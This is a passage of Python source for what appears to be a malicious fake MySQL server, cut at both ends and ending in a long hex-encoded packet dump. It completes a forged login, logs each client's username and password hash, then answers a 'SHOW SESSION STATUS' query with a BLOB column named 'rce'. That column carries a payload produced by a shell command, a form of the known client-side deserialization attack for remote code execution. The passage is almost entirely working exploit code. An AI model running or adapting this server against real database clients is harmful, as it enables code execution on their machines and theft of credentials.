if self.count < 0xff:
return b"\x01\x00\x00\x01" + self.count.to_bytes(1,"little")
else:
return b"\x01\x00\x00\x01\xff"
class Field_Packet():
def __init__(self,len):
self.packet_number = b"\x02"
self.catalog = self.setProperties(b"\x64\x65\x66")
self.schema = b"\x00" # 数据库名
self.table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 表名
self.org_table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 原始表名
self.name = self.setProperties(b"rce") # 字段名
self.org_name = self.setProperties(b"rce") # 原始字段名
self.const_char = b"\x0c" # 常量字符
self.character_set = b"\x3f\x00" # 字符集
self.field_length = len.to_bytes(4,"little") # 最大长度
print(self.field_length)
print(FieldType.MYSQL_TYPE_BLOB.value)
self.type = FieldType.MYSQL_TYPE_BLOB.value[0].to_bytes(1,"little") # 字段类型
self.flags = b"\xff\xff" # 标志
self.decimals = b"\x00" # 小数位数
self.filler = b"\x00"*2 # 填充
print(ColorOutput.success(str("初始化完毕:"+str(self.field_length))),flush=True)
def to_bytes(self):
p = b"".join([self.catalog,self.schema,self.table,self.org_table,self.name,self.org_name,self.const_char,self.character_set,self.field_length,self.type,self.flags,self.decimals,self.filler])
p_len = len(p).to_bytes(3,"little")
return b"".join([p_len,self.packet_number,p])
def setProperties(self,data):
data_len = len(data).to_bytes(1,byteorder="little")
data = b"".join([data_len,data])
print(ColorOutput.success(str("拼接成功:"+str(data_len))),flush=True)
return data
class Row_Packet():
def __init__(self,packet_number,data):
self.packet_number = packet_number.to_bytes(1,"little")
self.value = data
def to_bytes(self):
if len(self.value) <= 0xff:
self.value_len = len(self.value).to_bytes(1,"little")
self.content = b"".join([self.value_len,self.value])
self.len = len(self.content).to_bytes(3,"little")
return b"".join([self.len,self.packet_number,self.content])
elif len(self.value) <= 0xffff:
self.value_len = len(self.value).to_bytes(2,"little")
self.content = b"".join([b"\xfc",self.value_len,self.value])
self.len = len(self.content).to_bytes(3,"little")
return b"".join([self.len,self.packet_number,self.content])
else:
self.value_len = len(self.value).to_bytes(4,"little")
self.content = b"".join([self.value_len,self.value])
self.len = len(self.content).to_bytes(3,"little")
return b"".join([self.len,self.packet_number,self.content])
def get_bits(hex_value):
# 将16进制字符串转换为整数
num = int(hex_value, 16)
# 获取该数的二进制表示(去掉前缀 '0b')
bin_representation = bin(num)[2:].zfill(4) # 使用zfill补齐
# 返回每一位的比特值
bits = [int(bit) for bit in bin_representation]
return bits
def Greeting_Response_Prase(data):
print(ColorOutput.info(str("收到认证包:"+str(data))),flush=True)
cpos =0
client_capability_flags = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
print(ColorOutput.info(str("客户端能力标志:"+str(client_capability_flags))),flush=True)
# print(get_bits(client_capability_flags[-1]))
haveTable = True if get_bits(client_capability_flags[-1])[::-1][3]==1 else False
cpos += 2
extended_client_capabilities = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
print(ColorOutput.info(str("扩展客户端能力标志:"+str(extended_client_capabilities))),flush=True)
cpos += 2
max_packet_size = struct.unpack("<I",data[cpos:cpos+4])[0]
print(ColorOutput.info(str("最大包大小:"+str(max_packet_size))),flush=True)
cpos += 4
character_set = struct.unpack("<B",data[cpos:cpos+1])[0]
print(ColorOutput.info(str("字符集:"+str(character_set))),flush=True)
cpos += 1
client_reserved = struct.unpack("<23s",data[cpos:cpos+23])[0]
print(ColorOutput.info(str("客户端保留:"+str(client_reserved))),flush=True)
cpos += 23
data = data[cpos:]
null_pos = data.find(b"\x00")
print(ColorOutput.success(str("客户端用户名: "+str(data[:null_pos].decode("utf-8")))),flush=True)
ccpos = 0
ccpos += null_pos + 1
client_password_hash_len = struct.unpack("<B",data[ccpos:ccpos+1])[0]
print(ColorOutput.info(str("客户端密码哈希长度: "+str(client_password_hash_len))),flush=True)
ccpos += 1
client_password_hash = data[ccpos:ccpos+client_password_hash_len].hex()
print(ColorOutput.success(str("客户端密码哈希: "+str(client_password_hash))),flush=True)
ccpos += client_password_hash_len
data = data[ccpos:]
if haveTable:
client_table_name_len = data.find(b"\x00")
client_table_name = data[:client_table_name_len].decode("utf-8")
print(ColorOutput.success(str("客户端表名: "+str(client_table_name))),flush=True)
ccpos = client_table_name_len + 1
data = data[ccpos:]
client_auth_plugin_name_len = data.find(b"\x00")
client_auth_plugin_name = data[:client_auth_plugin_name_len].decode("utf-8")
print(ColorOutput.success(str("客户端认证插件名称: "+str(client_auth_plugin_name))),flush=True)
cccpos = client_auth_plugin_name_len +1
client_connection_attributes_len = struct.unpack("<B",data[cccpos:cccpos+1])[0]
print(ColorOutput.info(str("客户端连接属性长度: "+str(client_connection_attributes_len))),flush=True)
cccpos += 1
client_connection_attributes = data[cccpos:]
arrtibute_prase(client_connection_attributes,client_connection_attributes_len)
def arrtibute_prase(data,length):
cpos = 0
while cpos < length:
attribute_length = struct.unpack("<B",data[cpos:cpos+1])[0]
cpos += 1
attribute_value = data[cpos:cpos+attribute_length]
print(ColorOutput.info(str(attribute_value.decode("utf-8"))),flush=True)
cpos += attribute_length
def quert_prase(data):
query_type = data[0:1]
if query_type == QueryType.SLEEP.value:
print(ColorOutput.info(f"查询类型: SLEEP,查询语句 {data[1:]}"), flush=True)
elif query_type == QueryType.QUIT.value:
print(ColorOutput.info("查询类型: QUIT"), flush=True)
elif query_type == QueryType.INIT_DB.value:
print(ColorOutput.info("查询类型: INIT_DB"), flush=True)
elif query_type == QueryType.QUERY.value:
print(ColorOutput.info(f"查询类型: QUERY,查询语句 {data[1:]}"), flush=True)
elif query_type == QueryType.FIELD_LIST.value:
print(ColorOutput.info("查询类型: FIELD_LIST"), flush=True)
elif query_type == QueryType.CREATE_DB.value:
print(ColorOutput.info("查询类型: CREATE_DB"), flush=True)
elif query_type == QueryType.DROP_DB.value:
print(ColorOutput.info("查询类型: DROP_DB"), flush=True)
elif query_type == QueryType.REFRESH.value:
print(ColorOutput.info("查询类型: REFRESH"), flush=True)
elif query_type == QueryType.SHUTDOWN.value:
print(ColorOutput.info("查询类型: SHUTDOWN"), flush=True)
elif query_type == QueryType.STATISTICS.value:
print(ColorOutput.info("查询类型: STATISTICS"), flush=True)
elif query_type == QueryType.PROCESS_INFO.value:
print(ColorOutput.info("查询类型: PROCESS_INFO"), flush=True)
elif query_type == QueryType.CONNECT.value:
print(ColorOutput.info("查询类型: CONNECT"), flush=True)
elif query_type == QueryType.PROCESS_KILL.value:
print(ColorOutput.info("查询类型: PROCESS_KILL"), flush=True)
elif query_type == QueryType.DEBUG.value:
print(ColorOutput.info("查询类型: DEBUG"), flush=True)
elif query_type == QueryType.PING.value:
print(ColorOutput.info("查询类型: PING"), flush=True)
elif query_type == QueryType.TIME.value:
print(ColorOutput.info("查询类型: TIME"), flush=True)
elif query_type == QueryType.DELAYED_INSERT.value:
print(ColorOutput.info("查询类型: DELAYED_INSERT"), flush=True)
elif query_type == QueryType.CHANGE_USER.value:
print(ColorOutput.info("查询类型: CHANGE_USER"), flush=True)
elif query_type == QueryType.BINLOG_DUMP.value:
print(ColorOutput.info("查询类型: BINLOG_DUMP"), flush=True)
elif query_type == QueryType.TABLE_DUMP.value:
print(ColorOutput.info("查询类型: TABLE_DUMP"), flush=True)
elif query_type == QueryType.CONNECT_OUT.value:
print(ColorOutput.info("查询类型: CONNECT_OUT"), flush=True)
elif query_type == QueryType.REGISTER_SLAVE.value:
print(ColorOutput.info("查询类型: REGISTER_SLAVE"), flush=True)
elif query_type == QueryType.STMT_PREPARE.value:
print(ColorOutput.info("查询类型: STMT_PREPARE"), flush=True)
elif query_type == QueryType.STMT_EXECUTE.value:
print(ColorOutput.info("查询类型: STMT_EXECUTE"), flush=True)
elif query_type == QueryType.STMT_SEND_LONG_DATA.value:
print(ColorOutput.info("查询类型: STMT_SEND_LONG_DATA"), flush=True)
elif query_type == QueryType.STMT_CLOSE.value:
print(ColorOutput.info("查询类型: STMT_CLOSE"), flush=True)
elif query_type == QueryType.STMT_RESET.value:
print(ColorOutput.info("查询类型: STMT_RESET"), flush=True)
elif query_type == QueryType.SET_OPTION.value:
print(ColorOutput.info("查询类型: SET_OPTION"), flush=True)
elif query_type == QueryType.STMT_FETCH.value:
print(ColorOutput.info("查询类型: STMT_FETCH"), flush=True)
elif query_type == QueryType.DAEMON.value:
print(ColorOutput.info("查询类型: DAEMON"), flush=True)
elif query_type == QueryType.BINLOG_DUMP_GTID.value:
print(ColorOutput.info("查询类型: BINLOG_DUMP_GTID"), flush=True)
elif query_type == QueryType.RESET_CONNECTION.value:
print(ColorOutput.info("查询类型: RESET_CONNECTION"), flush=True)
else:
print(ColorOutput.error("未知的查询类型"), flush=True)
if data[1:] == b"SHOW SESSION STATUS":
print(ColorOutput.warning("查询类型: SHOW SESSION STATUS"), flush=True)
return True
return False
def read_mysql_packet(sock):
"""读取一个完整的 MySQL 数据包"""
# 读取包头(4字节)
header = sock.recv(4)
if not header or len(header) < 4:
return None
# 前3字节是包长度(小端序)
packet_length = int.from_bytes(header[:3], byteorder='little')
print(ColorOutput.info(str("请求包长度:"+str(packet_length))))
# 第4字节是序列号
sequence_id = header[3]
# 读取包体
packet_body = b""
remaining = packet_length
while remaining > 0:
chunk = sock.recv(remaining)
if not chunk:
return None
packet_body += chunk
remaining -= len(chunk)
return packet_body
def handle_client(client_socket,filename,payload):
try:
client_socket.sendall(Greeting().to_bytes())
# 读取客户端的认证响应包
auth_response = read_mysql_packet(client_socket)
if auth_response:
try:
Greeting_Response_Prase(auth_response)
except Exception as e:
print(ColorOutput.error(str("解析认证包时出错: "+str(e))),flush=True)
#认证成功
client_socket.sendall(Auth_Response().to_bytes())
#第一次请求 获取系统变量
file_data = read_mysql_packet(client_socket)
#查询语句
quert_prase(file_data)
#第一次请求返回结果
client_socket.sendall(get_var_data())
#第二次请求
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(OK_ID_Packet(1).to_bytes())
#第三次请求
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(get_commit_data())
#第四次请求
res = read_mysql_packet(client_socket)
quert_prase(res)
payload = subprocess.Popen(payload,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE).stdout.read()
# client_socket.sendall(get_status_data())
client_socket.sendall(b"".join([TextResultSet_Response().to_bytes(payload,len(payload)),EOF_ID_Packet(4).to_bytes()]))
# res = read_mysql_packet(client_socket)
# quert_prase(res)
# client_socket.sendall(OK_ID_Packet(1).to_bytes())
#第五次请求
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(get_status_data())
#第六次请求
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(OK_ID_Packet(1).to_bytes())
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(OK_ID_Packet(1).to_bytes())
except Exception as e:
print(ColorOutput.error(str("处理客户端请求时出错: "+str(e))),flush=True)
finally:
client_socket.close()
def client_handler(server,filename,payload):
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
try:
client_socket, addr = server.accept()
executor.submit(handle_client, client_socket,filename,payload)
except Exception as e:
print(e)
# 当server socket被关闭时,退出循环
break
def start_server(port,filename,payload):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", port))
server.listen(5)
print("Server listening on port 3306")
handler_thread = threading.Thread(target=client_handler, args=(server,filename,payload))
handler_thread.daemon = True
handler_thread.start()
try:
while True:
time.sleep(10)
# print("Server is running")
except KeyboardInterrupt:
print("\nCtrl+C pressed")
server.close()
print("Server shutting down")
def get_status_data():
return b"\x01\x00\x00\x01\x02\x4c\x00\x00\x02\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0c\x21\x00\xc0\x00\x00\x00\xfd\x01\x10\x00\x00\x00\x3c\x00\x00\x03\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x05\x56\x61\x6c\x75\x65\x05\x56\x61\x6c\x75\x65\x0c\x21\x00\x00\x0c\x00\x00\xfd\x00\x00\x00\x00\x00\x12\x00\x00\x04\x0f\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6c\x69\x65\x6e\x74\x73\x01\x30\x13\x00\x00\x05\x10\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x18\x00\x00\x06\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x13\x00\x00\x07\x10\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x1d\x00\x00\x08\x1a\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x18\x00\x00\x09\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x14\x00\x00\x0a\x0e\x42\x79\x74\x65\x73\x5f\x72\x65\x63\x65\x69\x76\x65\x64\x04\x31\x33\x32\x39\x11\x00\x00\x0b\x0a\x42\x79\x74\x65\x73\x5f\x73\x65\x6e\x74\x05\x31\x31\x34\x38\x34\x15\x00\x00\x0c\x12\x43\x6f\x6d\x5f\x61\x64\x6d\x69\x6e\x5f\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x01\x30\x19\x00\x00\x0d\x16\x43\x6f\x6d\x5f\x61\x73\x73\x69\x67\x6e\x5f\x74\x6f\x5f\x6b\x65\x79\x63\x61\x63\x68\x65\x01\x30\x0f\x00\x00\x0e\x0c\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x01\x30\x17\x00\x00\x0f\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x5f\x75\x70\x67\x72\x61\x64\x65\x01\x30\x12\x00\x00\x10\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x65\x76\x65\x6e\x74\x01\x30\x15\x00\x00\x11\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x15\x00\x00\x12\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x01\x30\x16\x00\x00\x13\x13\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x13\x00\x00\x14\x10\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x12\x00\x00\x15\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x01\x30\x17\x00\x00\x16\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x73\x70\x61\x63\x65\x01\x30\x11\x00\x00\x17\x0e\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x75\x73\x65\x72\x01\x30\x0e\x00\x00\x18\x0b\x43\x6f\x6d\x5f\x61\x6e\x61\x6c\x79\x7a\x65\x01\x30\x0c\x00\x00\x19\x09\x43\x6f\x6d\x5f\x62\x65\x67\x69\x6e\x01\x30\x0d\x00\x00\x1a\x0a\x43\x6f\x6d\x5f\x62\x69\x6e\x6c\x6f\x67\x01\x30\x15\x00\x00\x1b\x12\x43\x6f\x6d\x5f\x63\x61\x6c\x6c\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x10\x00\x00\x1c\x0d\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x64\x62\x01\x30\x14\x00\x00\x1d\x11\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x6d\x61\x73\x74\x65\x72\x01\x30\x19\x00\x00\x1e\x16\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x72\x65\x70\x6c\x5f\x66\x69\x6c\x74\x65\x72\x01\x30\x0c\x00\x00\x1f\x09\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x01\x30\x0f\x00\x00\x20\x0c\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x73\x75\x6d\x01\x30\x0d\x00\x00\x21\x0a\x43\x6f\x6d\x5f\x63\x6f\x6d\x6d\x69\x74\x01\x30\x10\x00\x00\x22\x0d\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x64\x62\x01\x30\x13\x00\x00\x23\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x65\x76\x65\x6e\x74\x01\x30\x16\x00\x00\x24\x13\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x13\x00\x00\x25\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x69\x6e\x64\x65\x78\x01\x30\x17\x00\x00\x26\x14\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x14\x00\x00\x27\x11\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x13\x00\x00\x28\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x15\x00\x00\x29\x12\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x11\x00\x00\x2a\x0e\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x64\x66\x01\x30\x12\x00\x00\x2b\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x73\x65\x72\x01\x30\x12\x00\x00\x2c\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x2d\x0f\x43\x6f\x6d\x5f\x64\x65\x61\x6c\x6c\x6f\x63\x5f\x73\x71\x6c\x01\x30\x0d\x00\x00\x2e\x0a\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x01\x30\x13\x00\x00\x2f\x10\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x5f\x6d\x75\x6c\x74\x69\x01\x30\x09\x00\x00\x30\x06\x43\x6f\x6d\x5f\x64\x6f\x01\x30\x0e\x00\x00\x31\x0b\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x64\x62\x01\x30\x11\x00\x00\x32\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x65\x76\x65\x6e\x74\x01\x30\x14\x00\x00\x33\x11\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x11\x00\x00\x34\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x69\x6e\x64\x65\x78\x01\x30\x15\x00\x00\x35\x12\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x12\x00\x00\x36\x0f\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x11\x00\x00\x37\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x61\x62\x6c\x65\x01\x30\x13\x00\x00\x38\x10\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x10\x00\x00\x39\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x75\x73\x65\x72\x01\x30\x10\x00\x00\x3a\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x3b\x0f\x43\x6f\x6d\x5f\x65\x6d\x70\x74\x79\x5f\x71\x75\x65\x72\x79\x01\x30\x12\x00\x00\x3c\x0f\x43\x6f\x6d\x5f\x65\x78\x65\x63\x75\x74\x65\x5f\x73\x71\x6c\x01\x30\x14\x00\x00\x3d\x11\x43\x6f\x6d\x5f\x65\x78\x70\x6c\x61\x69\x6e\x5f\x6f\x74\x68\x65\x72\x01\x30\x0c\x00\x00\x3e\x09\x43\x6f\x6d\x5f\x66\x6c\x75\x73\x68\x01\x30\x16\x00\x00\x3f\x13\x43\x6f\x6d\x5f\x67\x65\x74\x5f\x64\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x01\x30\x0c\x00\x00\x40\x09\x43\x6f\x6d\x5f\x67\x72\x61\x6e\x74\x01\x30\x0f\x00\x00\x41\x0c\x43\x6f\x6d\x5f\x68\x61\x5f\x63\x6c\x6f\x73\x65\x01\x30\x0e\x00\x00\x42\x0b\x43\x6f\x6d\x5f\x68\x61\x5f\x6f\x70\x65\x6e\x01\x30\x0e\x00\x00\x43\x0b\x43\x6f\x6d\x5f\x68\x61\x5f\x72\x65\x61\x64\x01\x30\x0b\x00\x00\x44\x08\x43\x6f\x6d\x5f\x68\x65\x6c\x70\x01\x30\x0d\x00\x00\x45\x0a\x43\x6f\x6d\x5f\x69\x6e\x73\x65\x72\x74\x01\x30\x14\x00\x00\x46\x11\x43\x6f\x6d\x5f\x69\x6e\x73\x65\x72\x74\x5f\x73\x65\x6c\x65\x63\x74\x01\x30\x15\x00\x00\x47\x12\x43\x6f\x6d\x5f\x69\x6e\x73\x74\x61\x6c\x6c\x5f\x70\x6c\x75\x67\x69\x6e\x01\x30\x0b\x00\x00\x48\x08\x43\x6f\x6d\x5f\x6b\x69\x6c\x6c\x01\x30\x0b\x00\x00\x49\x08\x43\x6f\x6d\x5f\x6c\x6f\x61\x64\x01\x30\x12\x00\x00\x4a\x0f\x43\x6f\x6d\x5f\x6c\x6f\x63\x6b\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x0f\x00\x00\x4b\x0c\x43\x6f\x6d\x5f\x6f\x70\x74\x69\x6d\x69\x7a\x65\x01\x30\x13\x00\x00\x4c\x10\x43\x6f\x6d\x5f\x70\x72\x65\x6c\x6f\x61\x64\x5f\x6b\x65\x79\x73\x01\x30\x12\x00\x00\x4d\x0f\x43\x6f\x6d\x5f\x70\x72\x65\x70\x61\x72\x65\x5f\x73\x71\x6c\x01\x30\x0c\x00\x00\x4e\x09\x43\x6f\x6d\x5f\x70\x75\x72\x67\x65\x01\x30\x18\x00\x00\x4f\x15\x43\x6f\x6d\x5f\x70\x75\x72\x67\x65\x5f\x62\x65\x66\x6f\x72\x65\x5f\x64\x61\x74\x65\x01\x30\x18\x00\x00\x50\x15\x43\x6f\x6d\x5f\x72\x65\x6c\x65\x61\x73\x65\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x13\x00\x00\x51\x10\x43\x6f\x6d\x5f\x72\x65\x6e\x61\x6d\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x12\x00\x00\x52\x0f\x43\x6f\x6d\x5f\x72\x65\x6e\x61\x6d\x65\x5f\x75\x73\x65\x72\x01\x30\x0d\x00\x00\x53\x0a\x43\x6f\x6d\x5f\x72\x65\x70\x61\x69\x72\x01\x30\x0e\x00\x00\x54\x0b\x43\x6f\x6d\x5f\x72\x65\x70\x6c\x61\x63\x65\x01\x30\x15\x00\x00\x55\x12\x43\x6f\x6d\x5f\x72\x65\x70\x6c\x61\x63\x65\x5f\x73\x65\x6c\x65\x63\x74\x01\x30\x0c\x00\x00\x56\x09\x43\x6f\x6d\x5f\x72\x65\x73\x65\x74\x01\x30\x0f\x00\x00\x57\x0c\x43\x6f\x6d\x5f\x72\x65\x73\x69\x67\x6e\x61\x6c\x01\x30\x0d\x00\x00\x58\x0a\x43\x6f\x6d\x5f\x72\x65\x76\x6f\x6b\x65\x01\x30\x11\x00\x00\x59\x0e\x43\x6f\x6d\x5f\x72\x65\x76\x6f\x6b\x65\x5f\x61\x6c\x6c\x01\x30\x0f\x00\x00\x5a\x0c\x43\x6f\x6d\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x01\x30\x1c\x00\x00\x5b\x19\x43\x6f\x6d\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x5f\x74\x6f\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x10\x00\x00\x5c\x0d\x43\x6f\x6d\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x0d\x00\x00\x5d\x0a\x43\x6f\x6d\x5f\x73\x65\x6c\x65\x63\x74\x01\x32\x11\x00\x00\x5e\x0e\x43\x6f\x6d\x5f\x73\x65\x74\x5f\x6f\x70\x74\x69\x6f\x6e\x01\x32\x0d\x00\x00\x5f\x0a\x43\x6f\x6d\x5f\x73\x69\x67\x6e\x61\x6c\x01\x30\x19\x00\x00\x60\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x62\x69\x6e\x6c\x6f\x67\x5f\x65\x76\x65\x6e\x74\x73\x01\x30\x13\x00\x00\x61\x10\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x62\x69\x6e\x6c\x6f\x67\x73\x01\x30\x14\x00\x00\x62\x11\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x68\x61\x72\x73\x65\x74\x73\x01\x30\x16\x00\x00\x63\x13\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x6f\x6c\x6c\x61\x74\x69\x6f\x6e\x73\x01\x30\x15\x00\x00\x64\x12\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x64\x62\x01\x30\x18\x00\x00\x65\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x65\x76\x65\x6e\x74\x01\x30\x17\x00\x00\x66\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x01\x30\x17\x00\x00\x67\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x70\x72\x6f\x63\x01\x30\x18\x00\x00\x68\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x1a\x00\x00\x69\x17\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x15\x00\x00\x6a\x12\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x64\x61\x74\x61\x62\x61\x73\x65\x73\x01\x30\x17\x00\x00\x6b\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x6e\x67\x69\x6e\x65\x5f\x6c\x6f\x67\x73\x01\x30\x18\x00\x00\x6c\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x6e\x67\x69\x6e\x65\x5f\x6d\x75\x74\x65\x78\x01\x30\x19\x00\x00\x6d\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x6e\x67\x69\x6e\x65\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x12\x00\x00\x6e\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x76\x65\x6e\x74\x73\x01\x30\x12\x00\x00\x6f\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x72\x72\x6f\x72\x73\x01\x30\x12\x00\x00\x70\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x66\x69\x65\x6c\x64\x73\x01\x30\x19\x00\x00\x71\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x63\x6f\x64\x65\x01\x30\x1b\x00\x00\x72\x18\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x12\x00\x00\x73\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x67\x72\x61\x6e\x74\x73\x01\x30\x10\x00\x00\x74\x0d\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x6b\x65\x79\x73\x01\x30\x19\x00\x00\x75\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x6d\x61\x73\x74\x65\x72\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x17\x00\x00\x76\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x6f\x70\x65\x6e\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x13\x00\x00\x77\x10\x43\x6f\x